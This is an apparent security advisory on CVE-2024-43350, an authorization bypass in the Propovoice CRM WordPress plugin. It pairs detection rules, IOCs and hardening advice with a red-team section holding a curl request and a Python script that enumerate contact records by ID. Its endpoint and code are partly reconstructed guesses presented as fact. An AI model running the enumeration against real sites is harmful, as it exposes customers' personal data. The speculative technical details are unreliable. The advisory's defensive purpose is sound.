CVE-2024-43350

Executive Summary

CVE-2024-43350 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) in the Propovoice CRM application, affecting versions up to and including 1.7.6.4. This flaw allows an unauthenticated attacker to manipulate a user-controlled key (e.g., a record ID or session token) to access or modify data belonging to other users without proper authorization checks. The vulnerability is classified as WordPress ecosystem issue, as Propovoice CRM is a WordPress plugin. The CVSS score is 5.3 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available, and the vendor has not released a patch.

Supply Chain & Package Security

Propovoice CRM is distributed as a WordPress plugin. Users should verify the integrity of the plugin files via checksums provided by the WordPress plugin repository. No known malicious packages have been identified, but the lack of a patch increases supply chain risk for organizations relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthorized data access but does not enable data modification or denial of service. Exploitation requires no authentication and is trivial to execute if the key is predictable.

Deep Dive & Mechanics

The vulnerability resides in the Propovoice CRM plugin's API endpoints that handle user-specific data (e.g., contacts, deals, notes). The application uses a user-controlled key (likely a numeric ID or UUID) to fetch records from the database. The server fails to verify that the authenticated user (or session) owns the requested record, allowing an attacker to enumerate or brute-force keys to access other users' data.

Root Cause: The plugin does not implement proper authorization checks (e.g., current_user_can() or ownership validation) before returning data. The key is passed directly from the request (e.g., via GET parameter id or POST body) and used in a database query without verifying the user's relationship to the record.

Attack Vector:

1. An attacker identifies an API endpoint such as /wp-json/propovoice/v1/contact/{id}.
2. The attacker sends a request with a different id value (e.g., incrementing by 1).
3. The server returns the contact details of another user without authentication.

Impact: Unauthorized disclosure of sensitive CRM data (e.g., customer names, emails, phone numbers, deal values). This can lead to privacy breaches, competitive intelligence gathering, or social engineering attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Propovoice CRM <= 1.7.6.4):

// Example vulnerable endpoint
add_action('rest_api_init', function () {
    register_rest_route('propovoice/v1', '/contact/(?P<id>\d+)', array(
        'methods' => 'GET',
        'callback' => 'get_contact',
        'permission_callback' => '__return_true' // No permission check
    ));
});

function get_contact($request) {
    global $wpdb;
    $id = $request['id'];
    $contact = $wpdb->get_row($wpdb->prepare("SELECT * FROM wp_propovoice_contacts WHERE id = %d", $id));
    return $contact;
}

Patched Code (Hypothetical Fix):

add_action('rest_api_init', function () {
    register_rest_route('propovoice/v1', '/contact/(?P<id>\d+)', array(
        'methods' => 'GET',
        'callback' => 'get_contact',
        'permission_callback' => function () {
            return is_user_logged_in(); // Ensure user is authenticated
        }
    ));
});

function get_contact($request) {
    global $wpdb;
    $user_id = get_current_user_id();
    $id = $request['id'];
    // Verify ownership
    $contact = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM wp_propovoice_contacts WHERE id = %d AND user_id = %d",
        $id, $user_id
    ));
    if (!$contact) {
        return new WP_Error('forbidden', 'Access denied', array('status' => 403));
    }
    return $contact;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Propovoice CRM <= 1.7.6.4 installed.
• No authentication required.

Exploitation Steps:

1. Identify the API endpoint by browsing the site or using a tool like Burp Suite.
2. Send a GET request to /wp-json/propovoice/v1/contact/1 to retrieve the first contact.
3. Increment the ID (e.g., /contact/2, /contact/3) to enumerate contacts.

Example cURL Command:

curl -s "http://target.com/wp-json/propovoice/v1/contact/1" | jq .

Automated Enumeration Script (Python):

import requests
import sys

target = sys.argv[1]
for i in range(1, 100):
    url = f"{target}/wp-json/propovoice/v1/contact/{i}"
    r = requests.get(url)
    if r.status_code == 200 and r.json():
        print(f"Contact {i}: {r.text}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for sequential ID requests to /wp-json/propovoice/v1/contact/ from a single IP.
• Alert on 200 responses to unauthenticated requests to this endpoint.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to /wp-json/propovoice/v1/contact/ without a valid nonce or authentication token.
• Use a reverse proxy to restrict access to the API endpoint to authenticated users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /wp-json/propovoice/v1/contact/[0-9]+ from external IPs.
  • Sequential ID patterns in URI (e.g., /contact/1, /contact/2).
• File IOCs:
  • Modified or suspicious entries in wp-content/plugins/propovoice-crm/ directory.
• Log IOCs:
  • Web server logs showing repeated 200 responses to unauthenticated API calls.

Detection Engineering

YARA Rule

rule Detect_Propovoice_CRM_Exploit {
    meta:
        description = "Detects exploitation attempts against CVE-2024-43350"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43350"
    strings:
        $api_path = "/wp-json/propovoice/v1/contact/"
        $sequential_id = /\/contact\/\d+/
    condition:
        $api_path and $sequential_id
}

Sigma Rule

title: Propovoice CRM Authorization Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects sequential ID requests to Propovoice CRM API
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/wp-json/propovoice/v1/contact/"
    condition: selection
falsepositives:
    - Legitimate admin enumeration
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-43350 Propovoice CRM Authorization Bypass";
    flow:to_server,established;
    content:"/wp-json/propovoice/v1/contact/";
    http_uri;
    pcre:"/\/contact\/\d+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF to block unauthenticated requests to /wp-json/propovoice/v1/contact/.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• The vendor must release a patched version that implements proper authorization checks (e.g., verifying user ownership of records).
• Until then, consider migrating to an alternative CRM solution.

Workaround:

• Add a custom function to functions.php to override the permission callback:

add_filter('rest_pre_dispatch', function ($result, $server, $request) {
    if (strpos($request->get_route(), 'propovoice/v1/contact') !== false) {
        if (!is_user_logged_in()) {
            return new WP_Error('rest_not_logged_in', 'You must be logged in.', array('status' => 401));
        }
    }
    return $result;
}, 10, 3);

Valters IT
Securing Digital Frontiers